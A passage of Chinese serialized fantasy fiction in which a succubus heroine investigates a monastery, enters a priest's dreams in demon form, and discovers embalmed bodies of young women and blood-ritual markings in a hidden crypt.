特蕾莎侯爵夫人曾经为修道院捐赠了一顶王冠,但系统告诉我那顶王冠不是属于这个世界的王室的东西,我觉得那个王冠很奇怪,上面的很多符号……似乎是恶魔的东西。】 一个修道院怎么会接受捐赠这样的东西?一定有鬼。 之芙想了想,又写:【你一定要小心伯爵家族,他们也为修道院捐赠了一块带血的麻布,艾弗告诉我上面的血迹是属于耶稣的,但……系统说,上面的血迹来自很多不同的女性。】 之芙曾经疑惑过那些血从哪里来,但现在她知道了。 【修道院的教堂下面有一个地下室,里面放着很多年轻女孩的尸体。我不知道他们是什么处理那些尸体的,也不知道他们是怎么瞒天过海把那些尸体堆放在教堂下面的,总之,我看到那些尸体的下方有一些奇怪的纹路。】 之芙在旁边把自己看到的纹路画了出来,那些纹路总体组合成一个圆形,但分开来看,每一个单独的纹路都不像任何已知的形状,也不像之芙曾认识的文字。 虽然之芙是不太懂人类的信仰和宗教啦,但是…… 【我觉得它们看起来有点像是……呃,巫术?】 如果她没有记错的话,只有巫术才会有同时拥有这么多要素吧?多位年轻的女子尸体、奇怪的符文和隐秘的地下室。 而且这个副本还跟‘女巫’有关。 【是不是侯爵和伯爵想要在修道院里实施什么巫术?你要从这个方面去调查。 今晚去地下室的时候特蕾莎也在,她看起来太害怕了,我没有仔细检查。等到明天我会再去看的,到时候如果再有线索我会给你写信。】 之芙写完,上下看了看自己的信。嗯……没有问题,该写的线索、该嘱咐的调查方向她都写了。 之芙把隐形墨水的墨迹吹干,又拿来普通的笔墨,随便写了几句思念的话和情诗。 她刚要把信封好,忽然想起什么,又写了一句:【一切小心。】 对了,要不要写她跟特蕾莎说自己是被白飞烟强迫嫁给他的呢……呃。之芙挠了挠脸颊,发现自己竟然有些心虚。 算了,不是什么大事。 之芙封好信,刚放下笔,忽然听到门外传来了一阵敲门声,在寂静的夜里分外明显。 她立刻警觉起来,将门打开一条缝—— 却看到穿着白色睡衣的特蕾莎站在门外,手里还抱着两个枕头。 她拉开门,不解:“怎么了?” 特蕾莎看了她一眼,眼神有些飘忽,昏暗的房间并没有把她红彤彤的耳根掩饰好:“没有,我就是看到你房间一直有光。你在干什么?” 之芙“呃”了一声,一时不知道该怎么解释。 好在特蕾莎也不需要她解释:“你是不是害怕,睡不着?” 说着,也不等之芙回答,她从缝隙里挤进了房间,越过之芙,一屁股坐在了她的床上。 这一系列动作太过丝滑,以至于等之芙反应过来的时候,她已经弯着腰把枕头放好,甚至还拍了拍枕头。 “我就知道你会害怕,所以我来陪你睡觉。” 之芙:“……” 看着特蕾莎红彤彤的耳朵,她开始怀疑到底是谁在害怕了。 特蕾莎没有意识到她在想什么,还拍了拍床铺,说:“愣着做什么,睡觉呀。” 之芙再次:“……”唉,算了,她就不拆穿这位喜欢炸毛的大小姐了。 她顺从地躺进了被窝里,这才看到特蕾莎满意地点了点头。之芙吹灭蜡烛,再一回头,只见月光透过窗棂,落在特蕾莎的脸上。 她闭着眼睛,纤长的眼睫有些颤动,但很快恢复平静,她双手交叉放在胸前,躺得板板正正,是一个非常老实的睡觉姿势。 之芙也学着她的样子躺好,窄窄的单人床上,她们不可避免地紧挨在一起,在寒冷的夜里互相传递体温,像是在传递一份安详。 之芙正准备进入梦里,再去艾弗神父的梦里角色扮演一下,却忽然感觉到身侧有一双温暖的手拉住了她。 “……嗯?” 她测过头去,却见特蕾莎还是那样板正的睡姿,眼睛也闭着。她柔软的粉色唇瓣在月光下润着珍珠般的光泽,轻轻开合,用气音说。 “你是不是不喜欢白飞烟?” “……嗯。”之芙说。 “……”一阵沉默之后,身侧传来特蕾莎轻轻的声音,像一阵轻飘飘的风在无人知晓的夜里掠过了,“我们私奔吧。” “……什么?”之芙一愣,还以为是自己听错了。 “反正你不喜欢白飞烟,我也不想随便嫁给一个陌生男人。”特蕾莎闭着眼,继续用那种轻飘飘的、仿佛只是在谈论天气一样的语气说,“我们一起离开这里吧。” 第169章 《好消息:莉莉丝降临了!》 “……… “……”之芙沉默了一会儿, “离开这里我们去哪里呢?” “不知道。”特蕾莎干脆利落地回答,但顿了顿,她又说, “但我们可以现在就离开这里。我们拿上蜡烛,手牵着手, 趁着所有人都还在梦里, 我们悄悄离开这里,去一个没有人知道的地方。” 好详细的描述,就好像她已经这样很认真很认真地思考过可行性似的。 之芙说:“没人知道的地方是哪里?” 特蕾莎“啧”了一声, 很不耐烦似地说:“你怎么不明白呀, 没人知道的地方……就是什么地方都行。反正离开这里,对了, 你不是说自己在什么庄园当女工吗?我们买张船票, 然后去庄园, 我也可以跟你一起干活。” 之芙笑了一下, 翻过身来, 趴在她身上点了点她皱起的鼻子:“说走就走,不愧是大小姐。但是你能做什么活呢?” 特蕾莎睁开眼,一把抓住她的手:“什么都可以, 嗯……我想想, 我觉得我的女仆干活不累, 我有经验, 应该可以做这个。” 之芙反手握住她的手,月光落在床尾, 打下一道斑驳而暗淡的影子。她伸出自己的手放在特蕾莎的手旁边:“大小姐,你的手可不像是能干活的手。能干活的手……也得是我这样的吧。” 之芙的掌心和虎口有着厚厚的茧,指节稍大, 指尖圆而顿,特蕾莎的手跟她不一样,她是典型的十指不沾阳春的人的手,掌心柔软得像一片花瓣。 特蕾莎一抬下巴,说:“没事,我有钱。” 之芙:“……不,你没有。”离开侯爵家也想要钱?“没钱可是致命的,大小姐。你绝对想象不出那些人为了钱能做什么……你想吃一辈子今天我们在广场上煮的那种东西吗?” 大概想起了那锅味道诡异的糊糊,特蕾莎的表情也滞了一瞬。 之芙笑了:“我可是吃了十几年呢。” 特蕾莎反问:“那你为什么要逃跑?” 之芙说:“我有钱。”她顿了顿,又强调,“真的有。” 特蕾莎狐疑:“你哪里来的钱?” “呃,是白飞烟给我的。”之芙坦白,“他给了我很多钱,所以我不能拒绝他的求婚,我还不起。” “……”特蕾莎默了默,哼了一声,大手一挥:“不就是钱吗,我帮你还。” 之芙提醒她:“可是如果离开侯爵家,你就没有钱了。你真的想离开吗?还是只是……随便说说?” 特蕾莎这次沉默了很久。久到月光都偷偷从床尾溜到床头,她才翻了个身,背对之芙。 “……”黑暗中,只传来特蕾莎清浅的呼吸声。 之芙没有等到回答,也躺了回去。她双手交叉放在肚子上,沉沉地睡去。 在梦里,她还有事要做呢。 昨天没进艾弗的梦里,今天他果然是一副憔悴而辗转反侧的样子,之芙本来还想再晾着他一段时间,但现在,圣物管理员送上来的进度已经快得超乎她的想象了。 她还需要更多的线索。就像她嘱咐白飞烟一样,艾弗神父在这个修道院里的权限比普通修女要大得多,他到底知不知道教堂下地下室里发生的事情?他是敌是友? 之芙要再进一趟艾弗的梦里。 …… 忙碌了一天,结束晚祷后,艾弗独自一人回到了房间内。他有些疲倦地梳洗过,面对着镜子,他能看出自己的脸上有一丝心不在焉, 自从前天第一次见到那位天使小姐过后,他就再也没有见过她了。或许正是因为没有见面,所以这些天,他的脑海都被那个金色的身影塞满了。 她为什么不再进入自己的梦里了?她对他不满意吗?还是不喜欢?或者是有什么事耽搁了吗?她还会出现吗?会在今晚吗? 艾弗不知道如今自己的心情是期待还是忐忑,因为他这几天出门想尽办法打听了那位天使小姐要办的事情,甚至用上了自己的所有人脉,但始终一无所获。 如果再见到她,艾弗不知道该怎么对这位天使交差。但他仍然期待着与她见面,怀抱着说不清道不明的私心。 他简单地整理好床铺,连睡前祷告都没有做,就急切地和衣躺上床,闭上眼。 一天的疲劳和惦念耗尽了他的精力,月色拂过窗棂,他很快就沉入了梦境之中。 黑暗的梦境中不辨时间,就像是失去了所有的感知能力,陷入了凝固的时间之中。不知道过了多久,忽然有一束光刺入他的眼皮。 艾弗缓慢地眨了眨眼,像是从一场黑暗而幽深的梦境中醒了过来似地,从草地上坐了起来。 混沌的意识慢慢复苏,第一个察觉到的是刺入指缝间的草根。他低下头,发现翠绿的青草扎入指缝,掌心里的触感有些痒痒的。 耳边传来喷泉水飞溅入池塘的声音,他环顾四周,发现自己回到了前天夜晚自己和天使之芙见面的地方。 喷泉就在不远处,他像是刚刚在草地上睡着了似地。艾弗站起身来,下意识拍了拍衣服上的草屑,四下张望,果然看到喷泉旁边有一个熟悉的背影,背对着他坐在喷泉边上。 他的心稍微安定了一些,在心里组织起语言,缓缓走向对方。 脚步声被喷泉流水的声音覆盖,越是接近,对方熟悉的轮廓就越来越清晰,正是他想的那个人,之芙。 走到对方身后的时候,他顿了顿,下意识整理了一下衣摆,清了清嗓子才开口:“之芙小姐……” 面前的人骤然回过头来——是那张熟悉的脸,可是,对方的脸上却挂着一抹他从没有见过的笑容。 艾弗呆了一下,后知后觉地意识到,对方似乎跟他想的不太一样。最不一样的就是…… 她的脸上带着饶有兴致的笑容,明明还是一模一样的脸和五官,但就是显出一种与圣洁相对的非人感,一种游戏世间的放纵感。 而转过身的时候,艾弗才注意到她身上那巨大的翅膀不见了,取而代之的是一对蝙蝠似的骨翅,颜色也不是天使们那样温柔圣洁的白金色,而是漆黑崎岖的深色。 黑色的尾巴上布满尖锐的倒刺,倒刺上闪着寒芒,像是童话故事里邪恶的龙的尾巴,在她的身边摇来摇去,“啪啪”地拍打着地面。 ——这绝对不是他认识的那位天使之芙。反而像是…… 艾弗的脑袋里冒出了一个词,恶魔。 她不是之芙,她分明是天使之芙拜托他找的那位跟她拥有着同一个名字的……恶魔之芙。 第170章 《好消息:莉莉丝降临了!》 莫名的……… 艾弗瞬间感觉到冷汗浸湿了他的衣领。在恶魔饶有兴趣地注视下, 他只是打了个顿,就接着镇定自若地说了下去:“……之芙小姐,你怎么会在这里?” 那恶魔没有立刻回答, 只是扬起下巴,看了他一会儿才说:“你怎么这么知道我的名字?” “……”艾弗抿了抿唇。果然是他想的那样, 这个恶魔……有着和天使之芙和人类之芙一模一样的脸和名字。 “我见过你。”他谨慎地开口。 “哦?”恶魔用一只手撑住了下巴, 有点好奇的样子。她的尾巴在地上扫来扫去, “啪”地一下拍过他的脚面。“你在哪里见过我?” 艾弗本来想说,他在一位天使的嘴里听到过她。但转念一想, 又想到天使正在找这位恶魔, 敌明我暗,对他们才更加有利, 隐藏这一点他也能打探到更多消息。 于是他缓缓地上前一步, 想要看清楚对方的脸, 但他才刚刚伸出脚, 下一秒天旋地转, 失重感猛地袭来,眼前一花。 ……他被恶魔的尾巴勾住脚脖子,倒吊了起来。 “咳咳咳!!”他猛地咳嗽起来, 整个人被挂住不算, 还因为咳嗽的动作在空中微微摇晃, 黑色的衣摆倒下来, 遮住了他半边脸,他感觉自己梳得整整齐齐的头发大概也好不到哪里去。 轻轻的脚步声传来, 他看到那个恶魔走过来,笑眯眯地蹲在了他的面前。 艾弗从她的眼睛里看到了自己,衣服和头发都凌乱地散落, 不知道是因为太狼狈还是因为血液倒流,整个脸都是通红的,狼狈极了。 但艾弗也看清楚了她的脸。她的五官跟梦中的天使之芙、现实世界里的之芙小姐并没有什么太大的区别,似乎还是那双眼睛那个眉毛鼻子,但细节处却有些许的不一样了……艾弗很少这样直直地看向某个人的脸,因此他很难分辨出那些些微的差别……只是下意识觉得,有些不一样。 之芙蹲在他面前,大大方方地任由他打量。 他当然会觉得不一样,这可是之芙仔细调整过的。对于艾弗这么一个正直、虽然生活在修女之间,却只是冷淡地把修女们当成普通同事的神父来说,他恐怕也很难分辨其中细微的差别。 看惯了艾弗神父整洁神圣,高高在上又悲悯世人的样子,之芙还是第一次看到他如此狼狈,如此颠倒的模样。她笑眯眯地动了动尾巴,又把艾弗在空中摇了摇。 艾弗瞪着她。之芙甩了甩尾巴,带着尖锐倒刺的粗长黑色尾巴顺着他的衣袍灵活地钻进了内里,倒刺把他的小腿刮出一道道长而浅的血迹。 薄汗爬上了他的额头,但艾弗始终抿着唇,一言不发,既不呼痛,也不尖叫。 “喂,你还没说呢,你在哪里见过我?”之芙问。 “我见过跟你长得一模一样的人。”艾弗说。 之芙很给面子的演了下去:“哦?” “她跟你长得一模一样,而且……也叫之芙。”艾弗接着说,“为什么她会跟你长得一样?难道她是你在人间的分身吗?” “什么分身,我可从来没有过那种东西。”恶魔懒懒散散地伸了个懒腰,“我也不会把自己的分身投影到人类身上,你们太弱了,我可不会让自己的分身当那种可怜的东西。” “那你是怎么进到我的梦里的?”艾弗不死心地问。他一面睁大眼看着面前的这个恶魔——因为他现在狼狈的姿势,对方的五官在他的眼里是颠倒的,但她的笑容却很清晰。 随着他的提问,原本缠绕在小腿上的尾巴往里深入,发出窸窸窣窣的声音。“你……”未完的话卡在喉咙里,他发出一声闷哼,涨红了脸。 他狼狈地低下头去,但随即感觉到一只冰凉的手缓缓拂过他的下颚,板起他的脸,逼他直视着自己——像逗猫一样的姿势。他甚至能感觉到对方尖锐的指甲划过他的咽喉,他丝毫不怀疑那尖锐的指甲能像刀锋一样轻而易举地划开他的喉咙。 “我也不想来啊。”他听到她用轻巧的、咏叹调一般的语气说着。 “那为什么……” “可是我听到有人在叫我。” 艾弗一怔:“我?不可能!我才没有叫你……”就算要叫谁,也是叫的另一个“之芙”。 难道是他心里想着天使之芙,却唤来了这个恶魔? 但他还没多想,恶魔嗤笑了一声:“当然不是你。是一个女声,在召唤我。” 艾弗却心中一凛:女声?召唤恶魔?莫非在这个修道院里,有人在召唤恶魔?他立刻厉声质问:“是谁——呃!” 尖锐的尾巴刺入了他的大腿。 恶魔笑眯眯地说:“是我在问你,你没有提问的权利。” “……” 这个恶魔长得跟两个之芙一模一样,但她的行事手段却跟她们完全不一样。 恶魔轻轻咳嗽一声,清了清嗓子,问:“告诉我,你们修道院里有多少人?” “……十二个。”艾弗说。 恶魔点了点头:“每一个人你都认识吗?” “……认识。”艾弗说。但乖乖回答并没有让他获得些微放松的特权,在话刚出口的一瞬间,他就感觉到缠着腿的尾巴一紧。 “不要骗我。”之芙说,“你在想什么我都知道。” “……” “你认识修道院里所有的人,那你知不知道修道院里的哭声?” 艾弗又是一怔:“什么?”这个恶魔所说的每一句话,都超出他的预料。 恶魔这会儿倒是很耐心了:“每天晚上,修道院里就会响起女人的哭声。” “……”艾弗张了张嘴,一时呆住了。“我从来没有听到过什么哭声。”难道这个恶魔是在诓骗他吗? 恶魔狐疑地道:“你是修道院里的神父,你真的不知道?” “真的。”艾弗顿了顿说,“你知道什么吗?你可以告诉我吗?” 或许是他脸上的表情太过急切诚恳,恶魔把他放了下来,扔在草地上。 “每天晚上,我都能听到修道院里传来女人的哭声。”恶魔缓慢地说,“从很久以前就开始了。” “具体是哪里?”艾弗顾不上自己腿上的伤,一骨碌地爬起来,“修道院很大,只是这些消息我很难分辨。” 恶魔的尾巴拍打在地面上,托着下巴干脆利落地说:“我不知道。” “……啊?”艾弗显然大跌眼镜。 之芙被他的声音吸引着转头,看了他一眼,随即像是想到了什么好办法一样,尾巴猛地一动,圈住他的腰,不由分说地把他拉到自己面前。 “你想知道答案?”她眉飞色舞,脸上的表情生动极了,光彩熠熠。 艾弗一时有些结巴:“啊……是。” “那好,我去不了修道院,你可以去。”恶魔爽快地说,“你带着我一起去就好了。” 艾弗:“……” 艾弗:“啊?我吗?” “做那副表情干什么。”恶魔老神在在地说,尾巴又一下子拎起他,下一秒艾弗只感觉天旋地转,被整个从地上“拔”了起来,然后尾巴往外一甩—— 他猛地滚到了地上,滚了一圈之后两眼发黑,再睁开眼—— 他发现自己躺在床上,清晨的钟声自窗外响起,新的一日即将来临。 他低下头,忽然发现自己的掌心里握着一颗猩红的,眼睛一样的石头。 梦里发生过的事情如同潮水一般涌入他的脑海,淹没了他,他猛地掀开身上的衣服—— 梦里的伤口已经不见了,但他脚踝处,缠着一只黑色的,颜色和梦里那只恶魔的尾巴一模一样的小蛇。 小蛇静静地与他对视,半晌吐出舌尖,发出“嘶嘶”的声音。 莫名的……艾弗觉得她在笑。 170-180 第171章 《好消息:莉莉丝降临了!》 “你怎么…… “醒醒……喂!之芙……醒醒!” 之芙迷迷糊糊地听到了特蕾莎的声音。她茫然地睁开眼, 有一缕天光刺入眼皮,唤醒了一夜的昏沉。 “到祷告的时间了。”特蕾莎已经换上了修女服,打了个哈欠。“你怎么还不醒?” 特蕾莎的眼底也有一圈明显的黑眼圈, 一看就是没有睡好。 “昨天太累了……”之芙被她带着也打了个哈欠,揉了揉眼睛, “我没睡好。” 特蕾莎心有戚戚地点头:“半夜出门找地下室这种事情, 我还只在小说里看到过……没想到有一天自己也成为小说主角了。”她上下打量了一会儿之芙,忽然感觉她似乎比自己累多了,她动了动唇刚想说点什么, 忽然肩膀一重。 之芙眯着眼, 衣服都只穿了一半,却直挺挺地靠在她的肩膀上睡着了。 “……”特蕾莎下意识放轻了呼吸。她轻轻侧过头, 只见之芙闭着眼, 纤长的眼睫柔顺地垂下, 在清晨的日光中, 连柔软脸颊上最细小的绒毛都清晰可见。 特蕾莎默了默, 她发现之芙的气色一直都很好,睡着的时候脸颊上会浮现出一团红晕,仿佛天塌下来也无法惊扰到她的美梦。 如此健康, 如此美丽。 她又想起了昨天晚上, 她和之芙的对话。 …… 之芙再次醒来的时候已经过了祈祷时间了。她和特蕾莎急匆匆地穿好衣服往外跑, 特蕾莎说:“不着急, 那个祈祷去不去都行。” 之芙有点奇怪:“去不去都行?” 特蕾莎又打了个哈欠:“反正她们不敢跟母亲说。不敢说我没去,那我就是去了。” 之芙对这个理直气壮偷懒的大小姐有点哭笑不得, 她想起了什么,从包里掏出一封信:“这是给你的。” “……给我的?”特蕾莎愣了一下,打哈欠的动作停在了半空中。 她把那封信捏在指尖, 翻来覆去地看:“这是什么?你写的信?”信封就是修道院统一提供的样式,给妈妈写了几次信的特蕾莎自然不会认不出来,只是此刻,那封再寻常不过,甚至在她眼里有些简陋的信封都变得精致了不少,捏在指尖能闻到信封上散发出来的……之芙身上的香气。 “嗯。”之芙对她眨眨眼,笑着说,“我写的。但是先别打开,等到了关键时刻再看。” “为什么?我们俩现在面对面,有什么事是不能当面说,非要写在信里的?” 之芙“嗯……”了一会儿,想了想,把对艾弗神父说过的借口对她重新说了一遍:“你就当我不好意思吧,等到了离开的时候,再打开看。” 特蕾莎狐疑地看着她。 之芙抱着她的胳膊决定装傻蒙混过去:“好不好?行不行?” 特蕾莎:“……”她沉默了一会儿,脸颊上飞起红晕, “……好了,我知道了,你别撒娇。” 她胡乱把信塞进衣服口袋里。斜着眼看了之芙一眼:“现在你满意了吧?” 之芙赶紧点头:“嗯嗯。” 特蕾莎又哼了一声,脚下的小皮鞋踩得哒哒哒响。 …… 她们错过了早上的祈祷,万幸还没有错过早饭。特蕾莎拉着之芙进了饭堂,放饭的修女只是看了她们一眼,并没有多说什么,反而多给了她们两枚果子。 特蕾莎一挑眉,看着之芙,那意思是:看吧,我就说。 之芙已经看向了另一个人——坐在长桌边缘的圣物管理员。 今天她还穿着那身长长的黑色修女袍,把自己佝偻的身躯隐藏在袍子的下面,头巾遮着脸,看不清她的表情。 之芙一边吃饭,一边用余光观察着她。 前天深夜她没有离开房间去找线索,让圣物管理员把特蕾莎认成了她,第二天对方明显有些坐不住了,在吃饭的时候好几次看向她欲言又止。 昨天之芙也没有看到她,不知道她还有没有在等她。圣物管理员还有没有想跟她说的话,之芙不清楚。她只知道,自己很想知道对方到底想要做什么。 所以她在等,等圣物管理员坐不住,来主动告诉她,她想知道的事情。 但一整个早上,明明之芙和特蕾莎做出了翘了祈祷这么奇怪的事情,圣物管理员也没有看她,更没有表现出想跟她说话、跟她接触的意思。 一切就像是回到了开始,对方重新把自己隐藏在了黑色修女袍之下,沉默寡言地注视着已发生或即将发生的一切,仿佛之前的两个混乱而危险的夜晚不过是她们的错觉。 ……在她不知道的时候发生了什么吗? 之芙默默地吃掉了早饭,心里琢磨着要不要去圣物管理员的梦里看一看。但她对圣物管理员所知甚少,暂时还想不到该用什么方式去管理员的梦里……或许等白飞烟的线索交换过来会找到突破口。 吃完饭,她本来想跟圣物管理员聊聊的——从来这里开始,她几乎还没跟对方说过话。仅有的几句话,也是在第一天参观圣物保管室的时候说的没什么营养的客套话。 但她只是一个愣神,再抬起头的时候,圣物管理员就只剩下一个离开的背影了。 她似乎想避嫌,装作不认识她的样子。之芙敏锐地意识到了这一点,也没有着急去找她,而是先跟特蕾莎去了教堂。 再一次来到这个教堂,特蕾莎的表情明显有些不好——大概是想到了她们脚下的那些尸骨。 艾弗神父早已经做完了祷告,正在教堂内整理圣经。之芙走上前去,把昨天晚上写好的信给他:“艾弗神父,麻烦你帮我把这个给子爵大人。” 听到声音,艾弗明显愣了一下。他抬起头,刚好与笑眯眯的之芙对上了视线。 他呆在原地。 “神父?……艾弗神父?你怎么了?” 艾弗骤然回神,下意识低头看去,只见之芙捏着信,还保持着一个递过来的姿势,他下意识接过信封在手里掂了掂,大脑几乎一片空白。 “神父?” 艾弗看到她笑盈盈的眼睛。 “你怎么了?脸红红的……是不舒服吗?” 第172章 《好消息:莉莉丝降临了!》 但他们对…… “……” “神父?”之芙冲他眨眨眼, 低下头看着他的手。“你不看一下吗?” 艾弗捏着信封的指尖泛白。 “……”他顿了顿,才像是回了神,“哦, 好的。我检查一下。” 他匆匆地拆开信封,只大略看了一眼, 就把信封折了回去:“没有问题, 之芙小姐。我会尽快送去的。” 之芙笑着看着他:“艾弗神父不是说要检查吗?这样就可以了吗?” “……”艾弗抿着唇,面上仍保持着一贯的严肃表情,漆黑柔软的眼睫却不停的颤抖。“……这样就可以了。” “神父, 你的脸怎么红彤彤的……是生病了吗?”之芙说着, 就要上前一步,伸出手去摸他的额头, “我让医生过来看看?” “……别碰我!”艾弗猛地拍掉了她的手, 往后瑟缩了一下。 “神父?” 对上之芙茫然而受伤的眼睛, 艾弗才反应过来自己做了什么。他深呼吸:“抱歉, 之芙小姐。我有点不舒服。” “要我帮你找医生吗?”之芙问。“艾弗神父, 发生了什么?为什么你看起来……有点害怕我?我做错了什么吗?” 艾弗顿了顿:“是你的错觉。” “是吗?” “是的,你看错了。”艾弗匆匆地说。 之芙抿着唇笑了一下:“那就太好了,艾弗神父。你是我在修道院里少数能说得上话的几个人之一, 我不想你讨厌我。” 艾弗抬起脸, 有些怔怔地看向她, 好像陷入了沉思, 又好像透过她看到了别的什么人。 半晌,他喉结滚动了一下, 从教台上走了下来。他做了个手势,邀请之芙坐在教堂的长椅上。 “之芙小姐,今天你有空吗?”他温和问, “之前太匆忙,忘了跟您聊聊。” “聊什么?”之芙问。 艾弗主动坐到了她的身边,行走间,似乎狠狠地踩了脚下的什么东西。 之芙挑了挑眉。 艾弗温和地问:“我想了解一下您的身世、您身边的所有人,还有您出生以来,身边发生的所有大小事。” “啊,这个……艾弗神父,为什么突然想知道这个?” 艾弗说:“您的新娘修行要开始了,在开始之前,我们必须互相了解,彼此信任,好吗?” “好啊。”之芙欣然接受,“但是真的不想要给您叫医生来吗?” “……不用。”艾弗说。 “好吧。”之芙表示尊重,“我听您的。” 她当然听他的。 “真的没有问题,您放心。” 之芙也当然放心。因为她知道对方并不是真的生病了,他不过是——想起了梦里的她。 虽然梦里的伤口并不会在现实里出现,但疼痛是做不了假的。 艾弗现在一定很想知道,他梦里那两个“之芙”到底和她是什么关系。而且,现在他身上还有她的小蛇——虽然只是一个幻觉,但她的幻觉也够骗过艾弗了。 在他们说话的时候,小蛇正顺着他的小腿缠绕攀爬,冰冷的躯体紧贴着他温热的皮肤,发出嘶嘶的毒蛇吐信的声音。 之芙知道艾弗想问什么,无非就是探究她有没有遇到过什么“神迹”、“神眷”或是遇到过恶魔、像他一样在梦里见过恶魔。他不过是想知道梦里那两个之芙跟她有没有联系罢了。 可惜之芙这个身份本来就是系统捏的,从小到大都是那种传统意义上的普通女孩,除了力气大了点,想法多了些,也没遇到过什么大事小事,他注定要失望了。 艾弗忍受着小蛇时不时的骚扰和之芙的关心,问了一个早晨也没问出什么来。最后只能无奈地捂住脸,挥了挥手,示意她可以离开了。 之芙也没想到只是送个信就会被抓住盘问,她伸了个懒腰站起来:“艾弗神父,今天你会去送信吗?” 修道院里并不是每天都能送出和寄到信件的,主要要看艾弗和修女们会不会出门。 “会的。”艾弗揉着太阳穴,“您放心。 ” “您昨晚没睡好吗?” “……做了个噩梦。”艾弗说。 “哦,那真不凑巧,昨天我也做噩梦了呢。” 艾弗猛地看了过来,目光闪烁,显然是想起了第一天晚上自己做梦梦到天使之芙那一次,之芙也说自己做了个梦:“你梦到了什么?” “我也不记得了,一觉醒来就什么都忘了。”之芙微笑着说,“艾弗神父,您又梦到了什么呢?” 艾弗直勾勾地盯着她看,仿佛在审视她有没有说谎。过了片刻,他才说:“那是一个噩梦,我梦到了恶魔。” “……”之芙夸张地倒吸一口冷气,“什么?恶魔为什么会进入您的梦里?她想做什么?她有没有对您做什么?您今天不舒服是不是就是因为恶魔?” 一连串的追问任谁来都会被她问得晕头转向,但艾弗只是深深地呼吸了一口气,然后说: “我不知道。”顿了顿,他看向四周——周围没有人,修女们都离开了,特蕾莎也被人叫走了。这里没有人能听到他们的对话。发现这一点后,他定定地看着之芙,嘴唇开口:“但是梦里的那个恶魔……我觉得她有些熟悉。” “熟悉?”之芙追问。她有点期待,如果艾弗能说出她梦境里的内容,她倒是可以…… 然而艾弗只是盯着她看了一会儿……他移开了视线。 “或许曾在哪本书上见过吧。”他淡淡地说。 之芙略一思考就明白了他的意思:在这个时代,说一个女孩“像恶魔”还是太超过了,可以说是污蔑,甚至如果被有心之人听到,说不定还会成为指认的供词。 所以艾弗当然不愿意直说。 他抿着唇,最后还是主动站起身,跟之芙告别。他要去镇上布施,顺便送信。 之芙坐在椅子上,看着他远去的背影,她看了一会儿,还是悄悄地把幻觉解除了。 嗯……看在他是个好人的份上,至少在送信的时候别干扰他。 这样的人,真的会对地下室的那些尸骨视而不见吗? …… 艾弗走后,之芙离开教堂去外面看了一眼。 现在已经到中午,是劳动时间了。修女们今天还要继续去镇上熬粥布施,特蕾莎回房间去补觉了,整个修道院都没有什么人。 之芙把教堂的门关上,然后再一次打开了通往地下室的木板。 她左右看了看,四下无人,于是把烛台揣进怀里,打开木板跳了下去。 “噗呲——”一声轻响,寂静黑暗的室内亮起了昏黄的光。 之芙举着烛台,沿着昨天晚上走过的路,慢慢走进了室内。 最先映入眼帘的还是那一方鲜血淋漓的长桌。长桌上的凶器还保持着原样,看来这一个深夜和早晨,除了她们之外还没人拜访这里。 之芙绕过长桌,向更深处走去。 更深处,是她昨天曾见过的——堆叠在一起的尸体。 之芙屏住呼吸,举高烛台,让昏暗的光落在那些尸体上。昨天顾忌着特蕾莎,她没有仔细看,现在终于有时间可以仔细观察这些尸体的模样了。 这些尸体和她昨晚大致分析的一样,都是一些年轻的女孩子,从外貌上来看只在十五到二十五之间,还很小。 之芙蹲在她们面前,莹莹的烛光照亮她们的脸,所有的女孩子都闭着眼,表情仿佛一派安详,眉眼和嘴角都是舒展开的,但仔细看去,还是能看到她们因为紧绷的表情——明显是死后被人刻意做出的安详表情。 空气中萦绕着一股淡淡的……香气。 之芙拉住一具尸体的手,把尸体翻了个面——尸体的胸膛被整个掏空了,里面还填着香料。 昨天晚上她就怀疑了,有这么多的尸体堆在这个密不透风的房间里,为什么没有人闻到异味?现在看来……就是因为这个。 系统在脑海中补充:【这个处理尸体的方法有点像是木乃伊……】 之芙知道木乃伊,其实这种处理尸体的方式在人类世界并不少见,并不仅限于木乃伊。古代的人类会清洗尸体,然后把香料塞进尸体内部,他们相信这种方式能保存尸体,让灵魂永生。 系统又说:【在这个世界,香料是很昂贵的东西,都被贵族垄断着,平民绝对买不起这么多的香料。】 之芙蹲在原地,想了一会儿:【现在的嫌疑人选是不是只剩下两个了?侯爵和伯爵。】 【你觉得会是谁?】 【……我觉得是伯爵。】之芙说,【这是属于白飞烟的游戏副本,他是伯爵家的独子,除了特蕾莎曾经爱慕过他之外,他这个身份几乎无法接触侯爵家族,游戏应该不会给他安排这样没用的身份。如果伯爵家族是暗中下杀手的Boss,伯爵独子这个身份反而是最危险的,是一个陷阱,这才符合这个游戏一贯的调性。】 就像很久之前,游戏分配给她的身份一样。 系统也表示赞同。 但他们对这些女孩痛下杀手,到底是想做什么呢? 之芙叹了口气,稍微把尸体推开了一些,露出了她之前就很在意的,尸体下压着的层层叠叠的纹路。 借着微弱的烛光,她再一次打量起这些纹路。 第173章 《好消息:莉莉丝降临了!》 …… 这些纹路和她第一次来时也没有分别, 那些诡异的、无法分辨的字符组成了一个巨大的圆形,一小半在墙壁上,其他的纹路延伸到地面, 看起来……竟然像是一个巨大的盘子,托着成堆的尸体。 之芙蹲下身去, 用手指捻了一下那些诡异的字符——指尖顿时蹭上了一层干涸的血迹, 细碎的深褐色粉末落进她的掌心。 之芙敏锐地察觉到了不对劲,指尖传来的触感很微妙,就像是不小心碰到了厚厚的青苔……虽然整个地下室里都布满了血渍, 但这个地方的血渍未免也太厚了…… 她又用手蹭了一下, 确认这些字符凹槽里淤积的血明显不同其他地方,大约有一整个指甲盖那么厚, 这样的厚度绝对不可能只是普通的喷溅或是不小心沾上的, 大概率是日积月累后形成的无法清除的淤积。 之芙下意识抬起头, 看向了堆积成小山的尸体…… 她心里忽然出现了一个想法:【是放血祭祀吗?】 【有可能。】系统在她的脑海中也不太确定地回答她, 【看起来很像, 血祭也是古老的祭祀仪式中很重要、很常见的一环。而且人祭一般会处理掉尸体,烹煮或者扔进海里。如果是血祭,就可以解释为什么他们要用这样的方法保留尸体了。】 之芙望着那小山堆似的、表情怪异扭曲的尸体又叹了口气。她有点想说你们人类还怪恐怖的, 但想了想还是没有说话。 【怎么叹气?】系统反而主动来问, 【每次见到这些尸体你都会叹气。是害怕吗?】 【那倒不至于……】之芙说, 【只是觉得这里的人实在太狠心了一点。】 系统顿了顿:【你怕死吗?】 之芙凝视着面前这些可怜的女孩, 低声说:【……不会。】 其实在魅魔生活的地方,死亡是很常见的事情。魅魔不像人类社会有叫作“文明”的东西存在, 更类似于人类所说的“黑暗森林”,在这里,不止生活着魅魔, 